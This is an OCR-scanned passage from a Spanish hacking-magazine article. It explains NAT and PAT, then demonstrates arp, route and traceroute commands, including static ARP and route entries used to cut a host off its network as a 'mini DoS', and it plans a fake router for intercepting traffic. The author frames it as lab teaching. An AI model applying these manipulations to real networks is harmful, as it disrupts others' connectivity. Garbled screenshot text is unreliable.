Como supondras (y supones bien) eso,
ademas de ser carisimo, no es la solucion
gue elegira el propietario del ciber, en su
lugar, asignara direcciones IP privadas a cada
PC y contratara una o varias IP’s publicas.

Para simplificar el ejemplo, supongamos que
son cinco ordenadores con sus cinco IP’s
privadas y una Unica direcciéon publica.
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los cinco se la envia si todos son 2.2.2.2?

Pongamos otro ejemplo. Supongamos los
equipos 192.168.0.1 (PC-1) y 192.168.0.5
(PC-5) acceden al servidor de google para
efectuar una busqueda...

Supongamos que NAT es un servicio que
realiza el router del ciber café (192.168.0.254)
y traduce las direcciones de los PC's 1y 5 en
la ip global 2.2.2.2

El router del ciber conoce las IP’s de los Pc’s
pero el Server de google recibe DOS peticiones
que vienen de la misma IP (2.2.2.2). Cuando
el servidor de Google emite la respuesta a
las busquedas de los usuarios que hay sentados
enlos PC's 1 y 5, envia las respuestas a la
ip 2.2.2.2,

PC-1 192.168.0.1
PC-2 192.168.0.2
[P(C=3) 192.168.0.3
PC-4 192.168.0.4
PC-5 192.168.0.5
ROUTER 192.168.0.254

IP publica asignada por el proveedor 2.2.2.2

La funcién de NAT en la red del cibercafé
serd convertir las IP’s Privadas de los 5 PC's
en la IP publica asignada por el ISP (2.2.2.2).
Hablando claro, imagina que los cinco PC’s
acceden al mismo tiempo a
www.mocosoft.com, pues bien, el servidor
de Mocosoft recibira cinco conexiones de la
IP 2.2.2.2. Para el servidor de Mocosoft existe
un solo PC que tiene la IP 2.2.2.2 y que se
ha conectado cinco veces.

Como vemos, la primera ventaja de NAT es
que ofrece cierta privacidad, el servidor remoto
no sabe la IP real (IP privada), s6lo conoce
la ip publica.

Pero no todo son parabienes.... ¢qué ocurre
con el trafico de vuelta? ¢Cuando el servidor
remoto devuelva los resultados, a quién de
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Imaginemos....

El usuario del PC1 busca “perros” en google
y el usuario del PC-5 busca “gatos”.... los
resultados de esas busquedas los envia google
a la IP publica 2.2.2.2 (router del ciber)

¢Como puede saber el router del ciber que las
respuestas de las paginas de perros son para
el PC-1 y las de los gatos para el PC-5 si lo
Unico que recibe es una respuesta dirigida a
la 2.2.2.2 y no a las IP’s reales que originaron
las busquedas?

Pues muy sencillo... cuando NAT se activa, el
router del ciber construye una tabla (/la tabla
NAT) que relaciona las IP’s internas con los
puertos que abrieron los PC’s

correspondientes... por ejemplo asi:
IP origen Puerto origen IP destino Otros datos
192.168.0.1 1122 google 227277277
192.168.0.5 1036 google 227777277

Cuando google “responde” lo hace a la IP
2.2.2.2 con destino al puerto 1122 6 1036,
de tal forma que cuando regresan los
resultados al router, éste no tiene mas que
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consultar la tabla NAT que mantiene y
compara los puertos origen con el puerto al
que google destina la informacion y “sabe”
que lo que le venga por el puerto 1122 se lo
debe entregar a PC-1 y lo que le venga por
el puerto 1036 se lo ha de dar a PC-5.

Resumiendo,

Bien... pero y si ocurre esto?

IP origen

Puerto origen IP destino Otros datos

192.168.0.1

rardrardrariear]

1122 google

192.168.0.5

1122

google

DOS Ip’s diferentes que abren EL MISMO
puerto, esto es perfectamente posible, nada
lo impide y nada impide tampoco que los
navegadores de los PC-1 y PC-5 no puedan
abrir los mismos puertos en cada ordenador...

Cuando se reciba la respuesta de google, el
router consultard en la tabla NAT y...
SORPRESA!!!! Tanto las consultas a perros y
a gatos provienen del mismo puerto pero con
IP’s DIFERENTES... ¢A quien le da los
resultados?

P El router traduce las ip’s internas
192.168.0.xxx por la ip publica 2.2.2.2
P Si mas de una ip interna se dirige al
mismo destino y utilizan los mismo puertos
origen, ademas de traducir la direccion
traduce el
P google recibe y responde a una IP
traducida por NAT y a un puerto traducido
por PAT

P el router recibe los resultados de google,
consulta NAT y PAT, averigua cual fue la
IP de origen y envia las paginas.

puerto mediante PAT

PAT se suele utilizar si mas de una conexion
interna utiliza los mismos puertos origen y el
mismo destino, si el destino es diferente
aunque los puertos sean idénticos no se
traducen, ejemplo:

Pues esto lo soluciona con PAT,

PAT es como NAT pero para los puertos, o
sea, que el router ANTES de dejar salir la
conexion verifica que no existan puertos origen
“repetidos” para un mismo destino, y si lo
son, afade otra informacién en la tabla NAT
y traduce el puerto que usa el cliente por otro
que esté libre... asi mas o menos:

IP erigen

Puerto origen PAT IP destino | Otros datos

192.168.0.1

1122 1122 google e0PT00?

192.168.0.5

1122 1025 google
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Lo que recibe google son dos consultas de
la misma IP (la 2.2.2.2), una por el puerto
1122 y otra por el puerto 1025 (que es el
traducido por PAT)

Cuando devuelva los resultados y lleguen al
router, vendran “los perros” por el puerto
1122 y “los gatos” por el 1025, y el router
traducira a las IP’s correspondientes y enviara
las respuestas a los verdaderos puertos origen,
no a los traducidos.

IP origen | Puerto origen PAT |IP destino |Otros datos
192.168.0.1 1122 1122 google 7977777
192.168.0.5 1122 1122 | hackxcrack 7977777

Como ves, en este ejemplo PAT no tradujo
el puerto pese a ser el mismo en las dos
conexiones (1122), puesto que la IP destino
es diferente en ambas conexiones si bien los
puertos origen eran los mismos.

Y claro.... en lugar de google o hackxcrack,
lo que existe en la tabla NAT son las
direcciones IP’s de esos servidores, no sus
nombres, lo puse asi para no liarnos con los
numeros de IP’s que ya fue bastante con lo

que hubo *=

¢Y en Otros datos qué hay?

Pues muchas cosas mas, por ejemplo el
timeout, el tiempo de caducidad de la entrada
en la tabla NAT, pero bueno, con esto es
suficiente, de momento no nos preocupara
demasiado y también cabe esperar que en el
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curso de TCP/IP que ofrece esta misma revista
ya nos hablen de NAT de un modo “mas
formal”

Ahora que ya conocemos qué es NAT y qué
es PAT, antes de continuar, veamos algunas
“particularidades” de esto mismo, me refiero
a:

P SNAT o NAT Estatica
P DNAT o NAT Dinamica
P Equilibrio de Carga

El ejemplo anterior, el del ciber, los perros,
los gatos y google es un ejemplo de NAT
estatico y se llama estatico porque las
direcciones internas y externas NO CAMBIAN,
el Firewall o el router simplemente sustituye
las direcciones internas por la externa y/o los
puertos por PAT, ningun otro dato del paquete
es modificado.

NAT dinamico se utiliza cuando queremos
hacer corresponder un grupo de direcciones
internas con un conjunto de direcciones
publicas, es decir, si nuestro ciber café dispone
de varias IP’s publicas puede asignar cada
una de esas direcciones publicas a unos
cuantos PC’s locales, unos utilizaran por
ejemplo la 2.2.2.2 y otros la 3.3.3.3 ¢ la
.4.4.4.4, etc. dependiendo de los criterios
que se establezcan.

Incluso podemos dejar a la “eleccion” del
router o el Firewall cual de ellas tomara, es
como si en un unico router o Firewall
enchufdasemos varias lineas ADSL o como si
dispusiéramos de varios routers... no es asi,
los Pc’s locales so6lo tendran una Unica puerta
de enlace y sera DNAT quien determine la
IP publica que usaran.

Desde el punto de vista de seguridad, DNAT
es mejor que SNAT puesto que unas veces
se llega al destino con una IP y otras veces
con una diferente, sin embargo esto puede
causar problemas con determinados servicios
o si el nUmero de usuarios es muy elevado,
podrian agotarse las direcciones publicas.
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Imagina una red construida con DNAT y 250
Ip’s publicas, las direcciones vistas desde “e/
exterior” parecen ser aleatorias y cambian
constantemente.

Equilibrio de carga

El otro concepto asociado a NAT y PAT es el
equilibrio de carga en el servidor. Para
simplificar: el router o el Firewall puede
redireccionar y balancear la carga de forma
que alterna solicitudes para una pareja de
puerto/direccion destino entre los servidores
internos disponibles.

El ejemplo mas sencillo en describir seria una
red con 6 Servidores Web redundantes y el
balanceo de carga habilitado en el cédigo que
ejecuta NAT y PAT. Cuando las conexiones
externas visitan el webserver (para ellos es
una Unica ip global), NAT redirige la peticion
a uno de los 5 servidores internos, bien por
estado, por saturacién, por numero de
conexiones, etc... De tal forma que
“aparentemente” estamos accediendo a una
ip publica pero las paginas o el servicio nos
lo puede estar ofreciendo maquinas diferentes.

Bien, por hoy hemos terminado con la teoria
e implementacién de Firewalls, nos quedan
muchas cosas, funciones avanzadas de
cortafuegos, reglas de inspeccion, autenticacion
y cifrado, etc... Eso vendra en el préoximo
namero junto con la instalacion, configuracion
y administracion de un Firewall de red basado
en host.

Firewall con

= Balanceo de Carga

Granja P
- ,’—

de

Servidores

redundantes

Para lo que viene a continuacion deberiamos
conocer medianamente bien la pila de
protocolos TCP/IP, las cabeceras de los
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paquetes IP, TCP, UDP, ICMP, ARP, etc. Sin
embargo he preferido “empezar la casa por
el tejado” y comenzar con las pruebas de
comportamiento sin conocer eso y sin ni
siquiera haber instalado y configurado un
Firewall cualquiera, vamos... puro script-
kiddie & lamer corporation.

Sin embargo hay una buena explicacion,
bueno, hay dos... mejor tres.... y hasta cuatro,
los motivos son:

P La revista lleva iniciado un curso de tcp/ip
que ayudara a comprender algunos de los
conceptos que se exponen

P En los foros disponemos de un Taller de
TCP/IP que soluciona y responde a todas esas
premisas

P Se indicaran las explicaciones “minimas”
para entender el funcionamiento de cada una
de las herramientas que vienen a continuacion
P No tenemos Firewall, pero tenemos a snort
o no tenemos nada, mejor, asi nos daremos
cuenta de lo “importante” que sera disponer
de uno bueno y bien configurado.

Lo que viene ahora puede ser delicado, muy
delicado si se utiliza fuera de una red de
laboratorio o pruebas, si vas a usar cualquiera
de estas utilidades dentro de una red en la
qgue no eres el administrador o no tienes
autorizacion a ello.... ojito que puedes liarla
bien.

ACCESOS NO AUTORIZADOS

Bajo este nombre he querido unir varios
“conceptos”, herramientas, programas y
utilidades que persiguen objetivos tan dispares
como comprobar la resistencia del sistema
operativo ante ataques de denegacion de
servicio, consultas whois o spoofing de IP,
son tantas cosas y tan variadas que da sustito.

Seguro que hay muchas mas herramientas y
utilidades, seguro que conoces muchas otras,
estas ni son las mejores ni las recomendadas,
simplemente cumplen su objetivo y eso es lo
que cuenta.

He distribuido esta seccion en estos apartados:

P Herramientas de la Pila TCP/IP: ifconfig,
ping, traceroute, host, dig, nslookup, whois,
arp, netsat y otros propios del sistema.

P Identificacién, rastreo y exploracién:
netcat, nmap, nessus, superscan, retina

P Fingerprinting: nmap, queso, cheops,
xprobe, winfingerptinting

P Spoofing y hijacking: hunt, ettercap y
otros

P Firewalking: hping, icmpenum y firewalk

P Taneles y redirectores: loki, lokid, netcat,
datapipe, fpipe, rinetd y bnc

b Stress-test y DoS: zados, augnister, macof,
tepkill, isic, nemesis, iptest

P IDS y analizadores de red: tcpdump,
tcpshow, Ethereal, Commview, portsentry,
sensentry, netsaint, psad

DIOS!!! Todo eso? A la vez?

Si, veras que no son nada complicados,
realmente me limitaré a uno o dos ejemplos
de uso por cada herramienta y el resto de
posibilidades te las dejo a ti ¥ ademas, algunas
de éstas herramientas ya fueron tratadas en
numeros anteriores, como netcat, nmap,
comview, nemesis, etc..

Eso, si... las comentaré y ejemplificaré en
usos REALES, algunas son delicadas... sed
buenos y responsables, veremos que con
algunas seremos capaces de dejar fritos a
los propios servidores de pruebas de HxC, lo
que faltaba.... encima de los tiempos que
estan off, llegamos ahora y a tumbarlos....

SED RESPONSABLES.
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ACLARACION... El medio usado: Link encap: Ethernet

NO existen herramientas “mégicas ”, aqui no UP RUNNING, que nos dice si la tarjeta esta habilitada (UP) y operativa (RUNING)
BROADCAST, la tarjeta esta configurada para manejar direcciones de difusion
MULTICAST, la tarjeta esta configurada para manejar direcciones de multidifusion,
también pueden aparecer otros valores como: PROMISCUOS MODE, que indicara

hay nada seguro ni nada que funcione el
100% de las ocasiones y en todas sus

variantes, las redes son dinamicas, las que esta configurado en modo promiscuo y que posiblemente haya un sniffer
configuraciones de dos servidores dentro de corriendo en la maquina.
una misma empresa raramente son iguales La direccion MAC o direccion fisica, que se muestra tras el campo HWaddr

La direccién IP, inet addr
La direccién de difusioén: Bcast: 172.28.255.255
La mascara de subred, Mask: 255.255.0.0

y tampoco son las mejores, ni las uUnicas
utilidades que nos permitiran traspasar la

seguridad de un sistema, pero combinadas
nos pueden ofrecer una idea bastante
aproximada de lo vulnerable que puede ser
nuestro PC y nos abriran el camino para
entender muchas otras que trabajan de forma
similar.

Con estos datos podremos averiguar si
pertenecemos a una red o subred determinada
y para cuando llegue la ocasién... falsear la
MAC, la IP o inundar la red/subred adecuada.

La existencia de subredes puede significar la

. . existencia de Firewalls y/o routers para
Herramientas de la Pila TCP/IP y . L, v/ e P
comunicarlas, también la posibilidad de que

Sistema Operativo. existan VLAN'’s en un switch.

Bajo este apartado vamos a resumir algunas

de las utilidades que los sistemas operativos | equivalente.. o

suelen traer “de serie”, sélo explicaré algunas

opciones, quizas las que mas nos interesen El equivalente Windows es ipconfig /all. Ya sabes,
para el asunto que nos ocupa... los Firewalls abres una ventanita negra (Inicio --> Todos los

Programas --> Accesorios --> Simbolo del sistema),

IFCONFIG / IPCONFIG escribes la orden ipconfig /all y pulsas enter.

Se utiliza para configurar o informar del estado
) ] PING
de una o varias interfaces de red. —_—

El comando ping envia solicitudes de eco
mediante paquetes ICMP al host que se

b4 root@ linux-rhg:~

Archivo Editar Ver Teminal Ir Ayuda

[root@linux-rh8 root]# ifconfig [] especifique.

etho Link encap:Ethernet HWaddr 00:05:1C:08:AE:7C
inet addr:172.28.0.200 Bcast:172.28.255.255 Mask:255.255.0.0 . ) i
UP BROADCAST RUNNING MULTICAST MIU:1500 Metric:l El uso en LINUX y Windows es parecido y
RX packets:281 errors:0 dropped:0 overruns:0 frame:0 fundamentalmente lo utilizaremos para probar

TX packets:347 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100

RX bytes:129187 (126.1 Kb) TX bytes:94312 (92.1 Kb)
Interrupt:11 Base address:0x3000

la conectividad y encontrar maquinas vivas...

hd root@linux-rh8:~
lo Link encap:Local Loopback Archivo Editar Ver Teminal |Ir A!uda
inet addr:127.0.0.1 Mask:255.0.0.0 . [root@linux-rh8 root]# ping -c 5 172.28.0.50 [4]
UP LOOPBACK RUNNING MTU:16436 Metric:l PING 172.28.0.50 (172.28.0.50) from 172.28.0.200 : 56(84) bytes of data.
= PaCkEtsfn errorsio droPpEdfO overrunsio framg:u. 64 bytes from 172.28.0.50: icmp_seg=1 ttl=128 time=0.232 ms
gﬁ:izz:;;ﬂ:giz:izn‘??p“d'o QVETTURS 0, carTier:0 64 bytes from 172.28.0,50: icmp_seq=2 tt1=128 time=0.234 ms
64 bytes from 172.28.0.50: icmp_seq=3 tt1=128 time=0,224 ms
RX bytes:4682 (4.5 Kb) TX bytes:4682 (4.5 Kb) 3 %
64 bytes from 172.28.0.50: icmp_seq=4 ttl=128 time=0.230 ms
64 bytes from 172.28.0.50: icmp_seq=5 ttl=128 time=0.223 ms

Eoot@linux—rhs root]#

--- 172.28.0.50 ping statistics ---

De momento nos interesara recordar esta 5 packets transmitted, 5 received, 0% loss, time 4002ms
. rtt min/avg/max/mdev = 0.223/0,228/0.234/0.017 ms
orden para averiguar: [rootelinux-rh8 root]# ||
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Que no responda un host a la solicitud ping,
puede significar que, o bien no esta operativo,
o que el firewall que protege la red/subred
rechaza las peticiones eco.

También es interesante para lo que nos
ocupara en proximos articulos la Ultima linea:

Rtt min/avg/max/dev ...... esto es el Round
Time Trip, el tiempo de ida y vuelta de los
paquetes, que nos puede dar una idea de lo
que se tarda en alcanzar el host, o en casos
criticos, la sospecha de que nuestras
comunicaciones estan siendo redirigidas si
ese tiempo varia en exceso y “de repente”

ARP

Arp es una herramienta disponible tanto en
Windows como LiNUX, si bien la sintaxis entre
ambos puede diferir un poquito, el objetivo
es el mismo, mostrara la tabla ARP del
ordenador local que relaciona las direcciones
MAC con las IP's de la red en la que estamos.

Pueden existir MAC’s estaticas y MAC's
dinamicas, sino se indica lo contrario se
utilizarad una tabla dindmica, esto es, nuestro
PC ird aprendiendo las MAC's e IP’s de los
host con los que se relaciona y comunica e
ird construyendo esa tabla.

Las entradas estaticas las debe realizar el
administrador y permaneceran durante todo
la sesion actual, mientras que las entradas
dindmicas se actualizan periédicamente tras
un tiempo de caducidad, pasado ese tiempo,
las direcciones MAC con las que no hemos
vuelto a establecer comunicacion, se eliminan
para liberar recursos.

Para ver como funciona esto pongamos un
ejemplo sencillo:

Vemos que no hay entradas en la tabla ARP,
ahora hacemos un ping al router y a otro
equipo, en mi caso ping 172.28.0.1 y ping
172.28.0.200, después volvemos a realizar la
peticion ARP

e+ C:AWINDOWS\System32icmd.exe
IC:\>arp —a

Interfaz: 172.28.0.50 —— Bx4
s P

Direccién fisica Tipo
B0-cB-49-d4-5f-cd dindmico
88-85-1c-@8-ae—7c dinamico

Direccidén
172.28.8.1
172.28.0.200

2N\

Ahora vemos que nuestro PC ya conoce las
MAC'’s de los equipos con los que se acaba de
comunicar, es importante que recuerdes una
cosa: SIN DIRECCIONAMIENTO MAC NO
HAY DIRECCIONAMIENTO IP.

Dicho de otra forma, si un equipo de una red
local, no sabe o no puede resolver la direccion
MAC de otro, NO SE COMUNICARAN, aunque
estén directamente conectados entre si.

Imaginemos que conseguimos alterar la tabla
ARP de un host, y asignamos una MAC a una
direccidon IP que no es la que realmente tiene
el equipo destino, el resultado es que ya no
se comunicaran, por ejemplo, segun los datos
anteriores, vemos que el router tiene:

Direccion IP 172.28.0.1 MAC 00-c0-49-d4-5f-cd

Pues vamos a crear una entrada estatica que
asigne una MAC 00-c0-49-d4-5f-99 a la IP
172.28.0.1, hemos cambiado los ultimos
valores de la MAC (cd por 99)

e CWINDOWS\System32icmd. exe

[C:\yarp -5 172.28.0.1 08-cB-49-d4-5f-99

C:\)arp -a

Interfaz: 172.28.0.58 -— Bx4

Direccién fisica Tipo
#0-c@-49-d4-5¢-99 estatico

Direccion IP
172.28.8.1

e CAWINDOWS\System32icmd exe

C:\>yarp —a
No se encontraron entradas ARP

C:\)
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Ahora, cuando nuestro ordenador quiera
comunicarse con el router, intentara
encontrarlo con la MAC falsa y como esa NO
ES la del router, lo dejamos sin conexion al
mismo y por tanto sin salida hacia otras redes,
en este caso a Internet
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Interfaz: 172.28.8.50 —-—— Bx4
Direccién IP
172.28.08.1

Direccién fisica Tipo
88-cB-49-d4-5§-99 estitico

[C:\>ping 172.28.0.1
Haciendo ping a 172.28.8.1 con 32 bytes de datos:

[Tiempo de espera agotado para esta solicitud.
[Tiempo de espera agotado para esta solicitud.

Para eliminar la ruta estatica de la tabla ARP
se usa la opcién —d seguida de la IP a eliminar

ey C:AWINDOWS\System32\cmd.exe
[C:\>arp —s 172.28.8.1 88-—cB-49-d4-5f—99
Interfaz: 172.28.0.50 —— @x4

Direccidn fisica
80-cB-492-d4-5£-99

Direccién IP
172.28.0.1

Tipo
estatico

IC:\>arp —d 172.28.0.1

No se encontraron entradas ARP

Si no especificamos una IP tras la opcién -d
se eliminaran TODAS las rutas estaticas y
dindmicas de la Tabla ARP.

Para entornos LiNUX, la sintaxis es igual, si
bien para no resolver el nombre de los host
si no tenemos DNS o configuracién en
/etc/hosts usaremos arp —an

ROUTE

Se utiliza para informar y/o configurar el
estado de la tabla de enrutamiento de un
host

hd root@linux-rh8:~ i

Archivo Editar Ver Terminal Ir Ayuda

[root@linux-rh8 root]# route -n [+]

Kernel IP routing table

Destination Gateway Genmask Flags Metric Ref Use Iface
172.28.0.0 0.0.0.0 255.255.0.0 U 0 0 0 etho
127.0.0.0 0.0.0.0 255.0.0.0 u (o} (] 0 lo
0.0.0.0 172.28.0.1 0.0.0.0 uG 0o 0

0 etho g

En la columna destination (destino) se
reflejan las direcciones de red destino, la
entrada 0.0.0.0 se utiliza para la puerta de
enlace predeterminada. 0.0.0.0 significa todas
las redes, es decir, mediante la puerta de
enlace predeterminada se podra alcanzar
todos los destinos.

j| [root@linux-rh8 root]#

En gateway encontraremos la IP del host
gue actua como puerta de enlace, es decir,
la del router o el firewall que nos permite
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conectar nuestra red con otras, la aparicion
de 0.0.0.0 en esta columna significa que se
puede llegar al destino a través de una red
local.

Genmask, es la mascara de subred

Flags, es un campo que puede tener los
siguientes valores:

P U: La Interface estd activa

P G: Se puede llegar al destino mediante la
puerta de enlace

P H: El destino es un host

P N: El destino alude a una red.
Pueden existir mas, pero con estos nos vale

Iface: Nombre de la interface de red.

El resto de columnas no lo tendremos en
cuenta por ahora.

En Windows podemos obtener un resultado
similar con el

\Documents and Settings\Uictor>route print

ce:

e MS TCP Loophack terface
.88 58 56 cB 8 ..
.88 58 56 c@ a1 ..
.88 98 39 ci

€2 .....
rto del administrador de paquetes

Mascara de red Puerta de acces:
6.8 0.0.6.8 28.8.1

255.0.8.8 27.0.08.1
255.255.0.08

ino de red
9.0.0.
127.0.8.8
172.28.8.08
255.255.255.255
255.255.255.255
255.255.255.8
255.255.255.255
255.255.255.255
255.255.255.8
255.255.255.255 127
192.168.224.255 255.255.255.255 192.16
224.08.8.8 240.8.8.8 172.28.8.58
224.0 ﬂ.g 240.0.0.0 80.1

127.0.0.1

172.28.8.50

192.168.80.1
127.8.8

192.168.80.
127.6.0

192.168.80.
192.168.224.
127.8.0.
192.168.224.

-8.8.1
5 192.168.80.1
192.168.224.8
192.168.224.1

240
255 _255 .25 5
255.255_255_255
255.255.255.255

255 .255.255 255
255 255 255 255
255.255.255.255

[Puerta de enlace predeterminada

IC:\Documents and Settings\Uictor>

comando route print

192.168.80.1
192.168.224.1

ev CAWINDOWS\System32\cmd.exe E

-]

.« UMuare Uirtual Ethernet Adapter for UMnet8
<« UMuare Uirtual Ethernet Adapter for UMnetl
- Realtek RTL8139,818x Family Fast Ethernet NIC —

En este ejemplo se lista un equipo cuatro
tarjetas de red, bueno... realmente es una de
loopback, una fisica y dos virtuales... ya
sabes... VmWare *

Recuerda el valor 0x4 que corresponde con
la tarjeta de red Realtek para lo que viene a
continuacion.
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Podemos manipular la tabla de rutas y enrutar
hacia un host especifico toda una red, o como
se mostrara a continuacion, invalidar el acceso
a toda una red, por ejemplo:

Supongamos que el equipo 172.28.0.50 es
un Windows XP y queremos denegarle el
acceso a toda una red, la 62.0.0.0 que se
corresponde con la red de los foros de
hackxcrack =

Primero averigiiemos la IP del servidor del
foro,

¢v C:AWINDOWS\System32\cmd.exe
C:\Documents and Settings\Uictordping wwu.hackxcrack.com
wuw . hackxcrack.con [62.193.2008.34]1 con 32 hytes de datos:
Respuesta desde 62.193.200.34: hytes=32 tiempo=176ms TTL=51
Respuesta desde 62.193.200.34: hytes=32 tiempo=180ms TTL=51

Respuesta desde 62.193.200.34: hytes=32 tiempo=178ns TIL=51
Respuesta desde 62.193.200.34: hytes=32 tiempo=179ns TTL=51

Estadisticas de ping para 62.193.200.34:
Paquetes: enviados = 4, recibidos = 4, perdidos = B
(Bx perdidos),

[iempos aproximados de ida y vuelta en milisegundos:
Minimo = 176ms, Maximo = 18@ms, Media = 178ns

C:\Documents and Settings\Uictor)

Ahora sabemos que el foro se encuentra en
la red 62.0.0.0 o “parecida” (puede haber
subredes, no lo sabemos puesto que no
conocemos la mascara de subred de esa IP)
al menos sabemos que la IP es la
62.193.200.34

Ahora, manipulamos la tabla de rutas del PC
172.28.0.50, para ello tecleamos esta orden:

e CAWINDOWSSystem32\emd.exe

C:\>route add 62.0.0.0 MASK 255.0.0.0 172.28.0.91 netric 1 if 4

Esto afiadira una ruta hacia la red 62.0.0.0
y mascara 255.0.0.0 que se intentara llegar
a ella a través de la maquina 172.28.0.91
con un salto (métrica 1) por la interface
numero 4.

Es decir, las peticiones a TODA la red 62.0.0.0
(mas de 16 millones de IP’s) se pasaran por
la maquina 172.28.0.91, como esa maquina
no existe en la red a la que pertenece el XP,
no se podra acceder a ella, veamos:
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ev CAWINDOWS\System32\cmd.exe

C:\>route add 62.0.0.8 MASK 255.0.0.0 172.28.8.91 metric 1 if 4
C:\>ping 62.193.200.34
Haciendo ping a 62.193.200.34 con 32 hytes de datos:

de espera agotado
de espera agotado
de espera agotado

de espera agotado olicitud.

Estadisticas de ping para 62.193.200
Paquetes: enviados = 4, recibidos
{188x perdidos).

» perdidos = 4

N

Como ves no hay respuesta, acabamos de
provocar una “mini denegacion de servicios”
al equipo y no tendra acceso a la red 62.0.0.0
hasta que se reinicie o hasta que se elimine
la ruta “falsa”, para ello bastara ejecutar la
orden route delete 62.0.0.0

ov C:AWINDOWS\System32\cmd.exe

C:\>route delete 62.6.0.8
.200.34
a 62.193.20808.34 con 32 hytes de datos:

Respuesta desde 62.193.280.34: bytes=32 tiempo=188ms TTL=51
[Respuesta desde 62.193.200.34: 2 tiempo=179ms TTL=51
Respuesta desde 62.193.2080.34: hy 2 tiempo=176ms TTL=51
Respuesta desde 62.193.280.34: hytes=32 tiempo=178ms TTL=51

[Estadisticas de ping para 62.193.200.3
Paquetes: enviados = 4, recibidos = 4, perdidos = 8
(@z perdidos),

[Tiempos aproximados de ida y vuelta en milisegundos:
inimo = 176ms, Miximo = 188ms, Media = 188ns

¢Por qué la interface es if 4 y no otra?

Por que previamente deberiamos haber
realizado un route print, vimos que la
interface ethernet era la 0x4 (te dije que lo
recordaras) y por eso se puso if 4.

Desde Linux, este mismo ejemplo se realiza
de un modo diferente, hay muchas formas de
realizarlo y también depende de algunas
distribuciones, yo utilizo Redhat y alguna de
las formas que se puede realizar son estas:

Crear o editar el archivo
/etc/sysconfig/static-routes, esto a partir
de la versidén 8 no funciona correctamente,
de hecho ya no se usa, ahora hay un archivo
separado para cada interfaz destinado a la
definicidon de rutas estaticas. Los nombres de
archivo son:

/etc/sysconfig/network-scripts/route-interfacename

Sin embargo es mas facil hacerlo del siguiente
modo:
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Para afadir una ruta a la tabla de rutas

| # ip route add 62.0.0.0 /8 via 172.28.0.91

Para eliminarla

# ip route del 62.0.0.0 /8 via 172.28.0.91

Observa que se utiliza el formato CIDR (/8)
en lugar de la mascara 255.0.0.0, es lo mismo.

Como podras entender, si “nos montamos”
un enrutador falso en la direccién IP del
ejemplo (172.28.0.91) y cambiamos la tabla
de enrutamiento de un host (o el de todos)
de una red, conseguiremos que TODAS las
comunicaciones pasen por nuestro “falso
enrutador”

Te preguntaras si es muy complicado montarse
ese router... bueno, pues si y no... pero sin
lugar a dudas te ensefiaré como hacerlo a lo

largo y ancho de estos articulos =

Hay muchas opciones para los comandos
route e ip route, te tocarad a ti irlos
descubriendo... esto es una muestra, ahora
sigamos con los mandatos basicos.

TRACEROUTE

Determina la conectividad de un host remoto
(como ping) pero ademas muestra cada host
intermedio que atraviesa, envia paquetes UDP
necesarios para determinar el RTT, cuenta el
tiempo y muestra aquellos que no responden.
El equivalente en Windows es tracert.

Hagamos un trazado a una IP de los servidores
de practicas de HxC, el 62.57.101.243

B2 rootdlinux-rha:-
Archivo Editar Ver Teminal |1 Ayuda

[root@linux-rh8 root]# traceroute 62.57.101.243
traceroute to 62.57.101.243 (62.57.101.243), 30 hops max, 38 byte packets

1 172.28.0.1 (172.28.0.1) 0.827 ms 2.167 ms 1.458 ms

itndel4.lo.nuria.telefonica-data.net (213.0.186.33) 139.434 ms 137.096 ms 133,111 ms
nramdelz.rs2.nuria. telefonica-data.net (213.0.244.76) 131.55¢ ms 129.226 ms 130,587 ms
tndell-andel2-2.nuria, telefonica-data.net (213.0.250,154) 161,040 ms 157,409 ms 169,855 ms
tmespl-tnpenl.nuria. telefonica-data.net (213.0.251,113) 120,197 ms 126.819 ms 131,218 ms
193.149.0.50 (193.149.0.50) 131.380 ms 127.105 ms 130.391 ms

® e W R

6-96-100-62. libre.auna.net (62.100.96.6) 137.358 ms 140.240 ms 138.477 ms

P

0 v

11 v

2 ke

13 docsisl01-243.menta.net (62.57.101.243) 100.224 ms 173.436 ms 148.162 ns

Enﬂt@lmux—rlm root]# -
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La aparicion de asteriscos en las lineas 7-9-
10-11y 12 es sintoma de que existen Firewalls
y/o routers con ACL’'s que rechazan los
paquetes enviados por traceroute.

Mas adelante veremos alguna utilidad con la
que intentaremos averiguar que maquinas se
esconden tras esos misteriosos asteriscos...
no siempre son efectivas, a veces por la propia
inconsistencia del protocolo UDP y otras porque
los administradores de esos firewalls hicieron
bien sus deberes.

HOST, DIG, NSLOOKUP y WHOIS

Ambos efectian busquedas DNS directas y/o
inversas para averiguar mas informacion acerca
de una IP o nombre de domino.

Un DNS es una maquina que se encarga de
“convertir” los nombres de dominio que
utilizamos por Internet en su correspondiente
direccién IP. En la red, los host se comunican
por IP, pero para los humanos es mas sencillo
recordar direcciones del tipo terra.es,
hackxcrack.com, google.es, etc que sus
correspondientes equivalencias IP’s.

Utiliza el puerto 53 de UDP y es frecuente que
routers, firewalls, etc dejen pasar informacion
por ese puerto para que se puedan resolver
los nombres y direcciones IP, también es
frecuente recibir mensajes UDP por el puerto
53 que vienen de los ISP’s para que se pueda
mantener actualizados sus DNS.

Desde el punto de vista de la seguridad, es
importante proteger los Servidores DNS, puesto
que en manos “salvajes” pueden ofrecer
informacion delicada, desde la arquitectura
de la red, hasta los clientes de un proveedor
de servicios de Internet. Ademas, si
“falseamos” un DNS conseguiremos que los
equipos de una red dirijan sus consultas hacia
ese servidor malicioso en lugar del designado
licitamente, a esto se le llama DNS spoof, que
combinadas con técnicas de Web spoof, etc,
pueden acabar por comprometer las
transacciones electrénicas de la red atacada

Pagina 37



Firewalls - Firewalls - Firewalls - Firewalls - Firewalls - Firewalls - Firewalls - Firewalls - Firewalls

o provocando un DoS de los servicios con el
consiguiente perjuicio econémico y “moral”.

Una busqueda directa a un DNS consiste en
“pasar” un nombre de dominio y obtener la
IP a la que pertenece, mientras que una
busqueda inversa es lo contrario, se da la IP
y nos entregara el nombre asociado.

Esto es un ejemplo de una busqueda inversa
y directa respectivamente:

L4 rootlinux-rhg:~ Dl=it |

Archivo Edtar Ver Teminal |r Ayuda

[root@linux-rh8 root]# host 213.4.130.210

210.130.4.213. in-addr.arpa domain nane pointer wiw. terra.es.
[root@linux-rh8 root]# host ww.hackxcrack.con

wiw. hackxcrack. con has address 62.193.200.34
Eoot@linux-rh& oot} |

Muchos DNS son publicos, podemos usar
cualquiera de ellos en nuestras conexiones y
no limitarnos a los que nos informe nuestro
proveedor, precisamente ese caracter de
“servicio publico” hace posible que se puedan
usar diferentes DNS de distintas empresas y
proveedores de Internet, por ejemplo podemos
usar el comando host para indicarle que un
